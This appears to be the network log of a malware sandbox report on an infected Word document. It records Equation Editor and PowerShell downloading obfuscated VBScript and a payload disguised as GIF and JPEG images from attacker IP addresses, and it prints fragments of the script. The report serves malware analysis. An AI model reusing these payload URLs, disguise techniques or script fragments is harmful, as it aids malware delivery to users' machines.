                            Data Ascii: (5&44-]2^>8~_2&,)5!7?36?~>|?&]:`2>%83|%_|+!*5~)93~6%0?,?4?4>`'8`51';'?+|(|8~&$97$,57|'&0|~'*@86-2`0=|~5@-,^4~09<??,?@$)0%?`?/763~0?>?@'9+?]_?7$)%#'@@2??@0(?7;]]^4:$*)|?%2.>/</%*.6%20&?].?2?+07'.?`?^:[-!^/~#&,(/?7$.?*(`(&9/?86?
                            Jul 26, 2024 13:16:16.886101007 CEST1236INData Raw: b0 27 2b 7e 2b 2a 3f 3a 25 7e 3f 32 30 24 3f 5d 32 24 3c 24 2b 3b 38 26 3c 3d 34 26 5e b0 7c 3a 60 23 33 3c 3f 7e 2e 3b 23 60 40 24 26 3f 3f 2f 5f 5e 24 3f 5b 23 3d 3b 3e 7c a7 35 21 35 37 3f 28 2b 2e 5d 29 34 3f 5e 7e 24 28 5b 24 36 a7 39 3a 5b
                            Data Ascii: '+~+*?:%~?20$?]2$<$+;8&<=4&^|:`#3<?~.;#`@$&??/_^$?[#=;>|5!57?(+.])4?^~$([$69:[?^36>7.3-0.%7.(|-;|&#>~_5628?=%6~3`*`%3(??92??4]9&%?)?;%7_3'|*6)>%?!:63%*4$%7]?$|@;=5%90/(%:]&[?@'5=9?7.5@17?(&8)';+~3>@:4$,.@![@<1040&/=9/09^>-<=(:2?.]
                            Jul 26, 2024 13:16:16.886115074 CEST1236INData Raw: 5e 37 38 3f 3f 32 38 a7 3f 25 23 33 3f 5d b5 3f a7 26 b0 60 5d 40 b5 3e 3e 21 25 24 29 40 33 5b b5 24 3c 34 b0 5e 25 39 35 38 a7 28 7e 35 40 31 31 28 b0 33 2c 3e 3f 3d 2e 3d 5e 33 26 2c 3f 2e 37 25 29 b0 23 29 31 21 28 38 2e 7e 3b 29 3d 2a 32 b5
                            Data Ascii: ^78??28?%#3?]?&`]@>>!%$)@3[$<4^%958(~5@11(3,>?=.=^3&,?.7%)#)1!(8.~;)=*2#]*#:$8;(~3-1?:-#8!6]0)>(/3+%?+2$2>???_11;|7?$;;5%<>7]?)%%]1+71/65]&2$_?^(?$&,/2|7*)#7%2<|#$%?(4_.?@78=$55`%$-[%/]|'@?_?*`[][%?_*#?.0&$#-64?3/]$+['$^
                            Jul 26, 2024 13:16:16.886879921 CEST1236INData Raw: 3d 5b 3d a7 3c b0 a7 33 b5 2d 31 b0 33 3f 5e 3f 40 3f 29 40 37 2f 34 23 2c 2e 2d 23 29 b5 3f 7e 33 60 35 21 3e 3a 32 26 3f 2c 23 2c 60 32 25 37 21 2d 34 33 37 32 3f 3d 36 a7 2f 3f b5 2a 38 27 5e 2b 35 2c 60 2d 3a 5d 3e 40 3f 2f 39 37 28 3a 27 3f
                            Data Ascii: =[=<3-13?^?@?)@7/4#,.-#)?~3`5!>:2&?,#,`2%7!-4372?=6/?*8'^+5,`-:]>@?/97(:'?[2)>&?5`8[%6:|_69<&@9[569:%-,`%-`?0'4`|%#?;?;65^$3$.(#1?0?1?<+:-?_-$222,/~?+<1.[-+*<?^0.%,5_!19~,~%-2?^~?2~<?:.8.~^&]??)917!:/,]?,>_];+%7+:[[%:2)@.63?[%]=??6
                            Jul 26, 2024 13:16:16.886895895 CEST1236INData Raw: 0a 0a 0a 0a 0a 0d 0a 0a 0a 0a 0a 0d 0d 0a 0a 32 09 20 09 09 09 09 20 20 20 20 20 20 09 09 09 09 09 09 09 20 09 20 09 09 09 09 20 20 09 09 20 20 09 20 09 09 20 09 20 09 20 20 20 20 20 20 09 20 20 20 20 20 09 20 09 09 09 20 09 20 20 20 09 20 20 20
                            Data Ascii: 2 0 0 0
                            Jul 26, 2024 13:16:16.886910915 CEST1236INData Raw: 20 09 09 20 20 20 09 20 09 09 20 20 09 09 09 20 09 20 09 20 20 20 09 09 20 20 09 20 09 20 20 20 09 20 20 09 20 20 20 09 20 20 09 20 09 20 20 09 30 30 0d 0d 0d 0d 0d 0a 0a 0d 0d 0d 0d 0a 0d 0d 0a 0d 0a 0a 0d 0d 0a 30 0d 0d 0d 0a 0d 0a 0d 0a 0d 0d
                            Data Ascii: 0000f5060 00
                            Jul 26, 2024 13:16:16.887738943 CEST1236INData Raw: 0a 0d 0a 0d 0a 0d 0d 0a 0a 0a 0a 0a 0a 0a 0a 0d 0d 0a 36 0a 0a 0d 0d 0a 0a 0d 0d 0a 0a 0d 0a 0a 0a 0a 0a 0a 0a 0d 0d 0a 63 0a 0a 0d 0a 0d 0d 0d 0d 0d 0d 0d 0a 0a 0a 0a 0a 0a 0a 0d 0d 0a 33 39 33 38 62 0a 0a 0d 0a 0d 0d 0d 0d 0d 0d 0d 0a 0a 0a 0a
                            Data Ascii: 6c3938b0e8 b
                            Jul 26, 2024 13:16:16.890641928 CEST1236INData Raw: 09 09 09 09 09 20 09 20 20 20 20 20 09 09 20 09 09 09 09 09 20 09 09 20 20 20 20 09 09 20 20 20 09 09 20 09 09 20 20 20 09 20 09 20 20 09 20 09 09 09 09 09 20 20 09 62 0a 0d 0a 0d 0d 0d 0d 0d 0d 0a 0a 0a 0d 0d 0d 0d 0d 0d 0a 0d 0a 35 0d 0a 0a 0d
                            Data Ascii: b55f fd705


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            2192.168.2.2249165188.114.96.3801788C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 13:16:20.785749912 CEST129OUTOPTIONS / HTTP/1.1
                            User-Agent: Microsoft Office Protocol Discovery
                            Host: tny.wtf
                            Content-Length: 0
                            Connection: Keep-Alive
                            Jul 26, 2024 13:16:21.371680021 CEST558INHTTP/1.1 404 Not Found
                            Date: Fri, 26 Jul 2024 11:16:21 GMT
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            X-Powered-By: ASP.NET
                            CF-Cache-Status: DYNAMIC
                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o3Rz7B6AZtNyly7Ywcq4vF0zHz4wivabLswtDfcT4ONAh0Jtn0dUOEj8BfLJUYz9Hzvi%2FQSp5sPkqGi2E25padK2L9fcjoruIU5m4lyjiVWxJj4%2B2X88v0QC"}],"group":"cf-nel","max_age":604800}
                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                            Server: cloudflare
                            CF-RAY: 8a93fa209d128c51-EWR
                            alt-svc: h3=":443"; ma=86400
                            Data Raw: 30 0d 0a 0d 0a
                            Data Ascii: 0
                            Jul 26, 2024 13:16:21.666640997 CEST129OUTOPTIONS / HTTP/1.1
                            User-Agent: Microsoft Office Protocol Discovery
                            Host: tny.wtf
                            Content-Length: 0
                            Connection: Keep-Alive
                            Jul 26, 2024 13:16:21.838181019 CEST560INHTTP/1.1 404 Not Found
                            Date: Fri, 26 Jul 2024 11:16:21 GMT
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            X-Powered-By: ASP.NET
                            CF-Cache-Status: DYNAMIC
                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UJref7XggdVBPkZZeR2Ss6uVKu3VxbOG2b1%2F00I3flv7Oo6kMDNT1w9gvzjS%2BAWU4rvWN6E9D3us%2B0vpSambCVUrhJxDWOvMWe2yyB4eRpyBTEQDlJKaoIBS"}],"group":"cf-nel","max_age":604800}
                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                            Server: cloudflare
                            CF-RAY: 8a93fa23dfff8c51-EWR
                            alt-svc: h3=":443"; ma=86400
                            Data Raw: 30 0d 0a 0d 0a
                            Data Ascii: 0
                            Jul 26, 2024 13:16:21.846805096 CEST129OUTOPTIONS / HTTP/1.1
                            User-Agent: Microsoft Office Protocol Discovery
                            Host: tny.wtf
                            Content-Length: 0
                            Connection: Keep-Alive
                            Jul 26, 2024 13:16:22.021925926 CEST564INHTTP/1.1 404 Not Found
                            Date: Fri, 26 Jul 2024 11:16:21 GMT
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            X-Powered-By: ASP.NET
                            CF-Cache-Status: DYNAMIC
                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xOURY6Wg2umzynpaBpswWAF3%2F9AngzvLy3yDxgIy84%2B7zqDuGmoHXu%2BFQtme1gMADji%2BbpSUTTPuELE8PA%2FhIPoVz7O5GnmXbKPZcKIWoXB2ir1se6ryL0hv"}],"group":"cf-nel","max_age":604800}
                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                            Server: cloudflare
                            CF-RAY: 8a93fa24e8ee8c51-EWR
                            alt-svc: h3=":443"; ma=86400
                            Data Raw: 30 0d 0a 0d 0a
                            Data Ascii: 0
                            Jul 26, 2024 13:16:26.896933079 CEST132OUTHEAD /c8lH8 HTTP/1.1
                            User-Agent: Microsoft Office Existence Discovery
                            Host: tny.wtf
                            Content-Length: 0
                            Connection: Keep-Alive
                            Jul 26, 2024 13:16:27.050467014 CEST548INHTTP/1.1 405 Method Not Allowed
                            Date: Fri, 26 Jul 2024 11:16:26 GMT
                            Connection: keep-alive
                            Allow: GET
                            X-Powered-By: ASP.NET
                            CF-Cache-Status: DYNAMIC
                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=heRy35s%2BoAlBSeexvEcuMwyjtWprsUQ9iSgTl9iuTWjuzMUu2birXDYxy8TuL%2FOL9AhKvPaaODUtmqXCYeb4l4yW3uoa%2BAgG97htg2BOjKnKeFQzZw2KD6JB"}],"group":"cf-nel","max_age":604800}
                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                            Server: cloudflare
                            CF-RAY: 8a93fa446f788c51-EWR
                            alt-svc: h3=":443"; ma=86400


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            3192.168.2.2249166188.114.96.3801788C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 13:16:22.134211063 CEST113OUTHEAD /c8lH8 HTTP/1.1
                            Connection: Keep-Alive
                            User-Agent: Microsoft Office Existence Discovery
                            Host: tny.wtf
                            Jul 26, 2024 13:16:22.754028082 CEST544INHTTP/1.1 405 Method Not Allowed
                            Date: Fri, 26 Jul 2024 11:16:22 GMT
                            Connection: keep-alive
                            Allow: GET
                            X-Powered-By: ASP.NET
                            CF-Cache-Status: DYNAMIC
                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PO8SAnpUmdTeXwnhpwD0lZGFkb5k56PGgRCRPQkKBpXlGPhYqE4sTxRD1W2G5LNfJF7sApNHxIEbfo20jf1GJG%2Bsp1RbDOcvMK17f6DSSmZDvaQM8k9kzc4t"}],"group":"cf-nel","max_age":604800}
                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                            Server: cloudflare
                            CF-RAY: 8a93fa29483641e9-EWR
                            alt-svc: h3=":443"; ma=86400


                            Session IDSource IPSource PortDestination IPDestination Port
                            4192.168.2.2249167188.114.97.380
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 13:16:26.241733074 CEST124OUTOPTIONS / HTTP/1.1
                            Connection: Keep-Alive
                            User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
                            translate: f
                            Host: tny.wtf
                            Jul 26, 2024 13:16:26.801599979 CEST564INHTTP/1.1 404 Not Found
                            Date: Fri, 26 Jul 2024 11:16:26 GMT
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            X-Powered-By: ASP.NET
                            CF-Cache-Status: DYNAMIC
                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uCDzbk5F4Y9jFwY177PY8kkm9gn422T7r%2B02B%2BrYkl7oiCYlTW8K2aYlCU2EO0RiHyt2fo%2FOAuirOALaCZNMJKUDzTD33YDcpwHr3FZuHPAzN%2BIQkss%2BQiaj"}],"group":"cf-nel","max_age":604800}
                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                            Server: cloudflare
                            CF-RAY: 8a93fa429be34401-EWR
                            alt-svc: h3=":443"; ma=86400
                            Data Raw: 30 0d 0a 0d 0a
                            Data Ascii: 0
                            Jul 26, 2024 13:16:27.014806986 CEST564INHTTP/1.1 404 Not Found
                            Date: Fri, 26 Jul 2024 11:16:26 GMT
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            X-Powered-By: ASP.NET
                            CF-Cache-Status: DYNAMIC
                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uCDzbk5F4Y9jFwY177PY8kkm9gn422T7r%2B02B%2BrYkl7oiCYlTW8K2aYlCU2EO0RiHyt2fo%2FOAuirOALaCZNMJKUDzTD33YDcpwHr3FZuHPAzN%2BIQkss%2BQiaj"}],"group":"cf-nel","max_age":604800}
                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                            Server: cloudflare
                            CF-RAY: 8a93fa429be34401-EWR
                            alt-svc: h3=":443"; ma=86400
                            Data Raw: 30 0d 0a 0d 0a
                            Data Ascii: 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            5192.168.2.2249168192.3.176.154801652C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 13:16:27.678611994 CEST346OUTGET /xampp/glo/createactiveimagesbeautygirlfrnd.gIF HTTP/1.1
                            Accept: */*
                            Accept-Encoding: gzip, deflate
                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                            Host: 192.3.176.154
                            Connection: Keep-Alive
                            Jul 26, 2024 13:16:28.202107906 CEST1236INHTTP/1.1 200 OK
                            Date: Fri, 26 Jul 2024 11:16:28 GMT
                            Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                            Last-Modified: Fri, 26 Jul 2024 03:39:13 GMT
                            ETag: "685aa-61e1e414b4f70"
                            Accept-Ranges: bytes
                            Content-Length: 427434
                            Keep-Alive: timeout=5, max=100
                            Connection: Keep-Alive
                            Content-Type: image/gif
                            Data Raw: ff fe 64 00 69 00 6d 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 0d 00 0a 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 3d 00 20 00 72 00 65 00 67 00 61 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 70 00 61 00 6c 00 70 00 61 00 62 00 69 00 6c 00 69 00 7a 00 61 00 72 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 61 00 6e 00 65 00 67 00 61 00 6c 00 68 00 61 00 72 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 6e 00 65 00 62 00 6c 00 69 00 6e 00 61 00 72 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 [TRUNCATED]
                            Data Ascii: dim posual posual = regainautenticidade("palpabilizar") & posual & _inautenticidade("anegalhar") & posual & _inautenticidade("neblinar") & posual & _inautenticidade("aviamento") & posual & _inautenticidade("X_HelpUris_005_0_Message") & posual & _inautenticidade("cimbro") & posual & _inautenticidade("tarambola") & posual & _inautenticidade("X_HelpUris_008_0_Message") & posual & _inautenticidade("X_HelpUris_009_0_Message") & posual & _i
                            Jul 26, 2024 13:16:28.202198029 CEST1236INData Raw: 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 58 00 5f 00 48 00 65 00 6c 00 70 00 55 00 72 00 69 00 73 00 5f 00 30 00 31 00 30 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00
                            Data Ascii: nautenticidade("X_HelpUris_010_0_Message") & posual & _inautenticidade("L_HelpUris_011_0_Message") & posual & _inauten
                            Jul 26, 2024 13:16:28.202234030 CEST1236INData Raw: 67 00 65 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00
                            Data Ascii: ge") & posual & _inautenticidade("L_HelpUris_015_5_Message") & posual & _inautenticidade("L_HelpUris_015_6_Message") &
                            Jul 26, 2024 13:16:28.202270031 CEST1236INData Raw: 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 63 00 6f 00 6e 00 73 00 6f 00 6e 00 61 00 72 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00
                            Data Ascii: nticidade("consonar") & posual & _inautenticidade("X_Help_SeeAlso_Input_Message") & posual & _inautenticidade("X_Help_
                            Jul 26, 2024 13:16:28.202303886 CEST1236INData Raw: 64 00 65 00 28 00 22 00 58 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 38 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 70 00 6f 00 73 00 75 00 61 00 6c 00 45 00
                            Data Ascii: de("X_HelpAlias_008_0_Message") & posualE & _inautenticidade("X_HelpAlias_009_0_Message") & posualE & _inautenticidade
                            Jul 26, 2024 13:16:28.202337027 CEST1236INData Raw: 0d 00 0a 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 31 00 5f 00 30 00 5f 00 4d 00 65 00
                            Data Ascii: inautenticidade("L_HelpAlias_001_0_Message") & eposualE & _inautenticidade("L_HelpAlias_002_0_Message") & eposualE &
                            Jul 26, 2024 13:16:28.202375889 CEST776INData Raw: 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 31 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00
                            Data Ascii: tenticidade("L_HelpAlias_011_0_Message") & eposualE & _inautenticidade("x_HelpAlias_012_0_Message") & eposualE & _inau
                            Jul 26, 2024 13:16:28.202598095 CEST1236INData Raw: 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 63 00 6f 00 6e 00 73 00 6f 00 6e 00 61 00 72 00 22 00 29 00 0d 00 0a 00 0d 00 0a 00 64 00 69 00 6d 00 20 00 6f 00
                            Data Ascii: & _inautenticidade("consonar")dim oeposualE oeposualE = regainautenticidade("L_HelpAlias_001_0_Message") & oep
                            Jul 26, 2024 13:16:28.202631950 CEST1236INData Raw: 6f 00 73 00 75 00 61 00 6c 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 69 00 6e 00 61 00 75 00 74 00 65 00 6e 00 74 00 69 00 63 00 69 00 64 00 61 00 64 00 65 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00
                            Data Ascii: osualE & _inautenticidade("L_HelpAlias_010_0_Message") & oeposualE & _inautenticidade("L_HelpAlias_011_0_Message") & o
                            Jul 26, 2024 13:16:28.202670097 CEST1236INData Raw: 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 55 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 20 00 6f 00 70 00 65 00 72 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6e 00 61 00 6d 00
                            Data Ascii: _Message = "Unknown operation name: "private const L_OP_Message = "Operation - "private const L_N
                            Jul 26, 2024 13:16:28.207395077 CEST1236INData Raw: 6d 00 20 00 2d 00 3f 00 22 00 22 00 20 00 66 00 6f 00 72 00 20 00 68 00 65 00 6c 00 70 00 2e 00 22 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 53 00 63 00 72 00 69 00 70 00 74 00
                            Data Ascii: m -?"" for help."private const L_ScriptNameNotFound_ErrorMessage = "Invalid usage of command line; winrm.vbs not found i


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            6192.168.2.2249169198.46.176.133801416C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            TimestampBytes transferredDirectionData
                            Jul 26, 2024 13:16:31.870779991 CEST79OUTGET /Upload/vbs.jpeg HTTP/1.1
                            Host: 198.46.176.133
                            Connection: Keep-Alive
                            Jul 26, 2024 13:16:32.416866064 CEST1236INHTTP/1.1 200 OK
                            Date: Fri, 26 Jul 2024 11:16:32 GMT
                            Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                            Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT
                            ETag: "1d7285-61ce2d35c4b0c"
                            Accept-Ranges: bytes
                            Content-Length: 1929861
                            Keep-Alive: timeout=5, max=100
                            Connection: Keep-Alive
                            Content-Type: image/jpeg
                            Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                            Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5*sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/*Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B*,xGU5Pay'rErv^uYt7*0ur$UxA-OF9>uI^O^gy4A
                            Jul 26, 2024 13:16:32.417141914 CEST1236INData Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04
                            Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:
                            Jul 26, 2024 13:16:32.417157888 CEST1236INData Raw: 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a
                            Data Ascii: cLp\`6d)$,ec)q(6>h|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SG*A13E0DoE~52>)X5OnFQM*uQMVy#o\>5$0!\DYX`
                            Jul 26, 2024 13:16:32.417176962 CEST1236INData Raw: eb 61 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70
                            Data Ascii: aY w/-\mTr7qLz2iO7ZsiA%nGR?{O|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
                            Jul 26, 2024 13:16:32.417192936 CEST1236INData Raw: 57 5c 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30
                            Data Ascii: W\*`tdcyrU':$_n95X+KYY\4f^&l0*8<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%*z*IMJ.D7}##H ml6fm"7LyF
                            Jul 26, 2024 13:16:32.417210102 CEST1120INData Raw: 06 4f 0b d1 be 96 3d 34 91 ab 2a 0a 56 dd 44 fc 6f df 03 c5 b9 32 29 42 6c d7 5a ba c1 4e ab b5 4a a6 c2 a2 98 ef 27 77 c6 b3 d1 ff 00 f0 c7 fd a9 48 d4 a9 80 9b 60 45 30 1f 0c 3e a7 c1 f4 d0 68 e6 54 49 5c b0 f4 95 50 cc be d5 df ae 07 8f 50 c6
                            Data Ascii: O=4*VDo2)BlZNJ'wH`E0>hTI\PP@"c4J22)Fpc,i^Hm4q`w12>8miUnq`f7m(/=EDZ}=>G7'BfHH8iV;B?{<i3nYvb}<
                            Jul 26, 2024 13:16:32.417224884 CEST1236INData Raw: 1d 8b 03 db 3e 6f a5 7d 2b 49 12 ef 8d 83 7e 0e 3a 8a 24 9e 9c 1f 7f 9e 7b 5f da 44 2f a0 f0 ff 00 0d 48 24 46 1a ad 05 36 c4 5a 71 4a 40 aa e7 9a e7 3e 65 f7 7d 42 08 d6 35 7a f2 dd 94 dd 6d 62 bd 30 35 27 d2 46 65 8a 40 54 aa 93 60 8b fd 30 5e
                            Data Ascii: >o}+I~:${_D/H$F6ZqJ@>e}B5zmb05'Fe@T`0^FFAU-tLD%z#X54n%,yEa mVV]>e7]umCKK:>}01ia8-Q="O_!;jzEcn'J]h0T5xr]
                            Jul 26, 2024 13:16:32.417241096 CEST1236INData Raw: 1f ed 4e 95 48 73 a7 95 fe 07 8c f1 31 69 0e c2 bf 78 70 7d eb 17 f1 2f 3f 44 13 ee f2 79 c5 a8 30 6b 15 81 ee 65 fb 67 a7 72 8a 9a 79 55 57 90 b6 0f 38 48 fe dc e9 54 9b 82 4d fd 58 12 28 e7 cf e7 79 21 87 cc 2e ca e0 72 a8 2f 13 89 e4 d5 5b c6
                            Data Ascii: NHs1ixp}/?Dy0kegryUW8HTMX(y!.r/[HJ=?y?ltSG-k?,)=W:TP~+=Uj-VTSI4H&V/s,tnK MCsnk}0i>?3_cFi7A
                            Jul 26, 2024 13:16:32.417268038 CEST1236INData Raw: e8 fc 27 ee f0 34 4a 8f 3a ce ce 42 96 b5 1e 90 a6 b7 02 09 3d fb 9e 80 b6 e6 9f c6 5f 55 34 4f a9 90 85 fe 05 8d 15 42 9f 7a 50 01 3c 0e 4d f4 c0 fa ac be 3f a6 d4 c9 26 b1 34 ec ad 09 0a f0 12 e0 7a 55 89 bf 5d 30 f4 9e 41 1c 67 9c f1 bf b4 7a
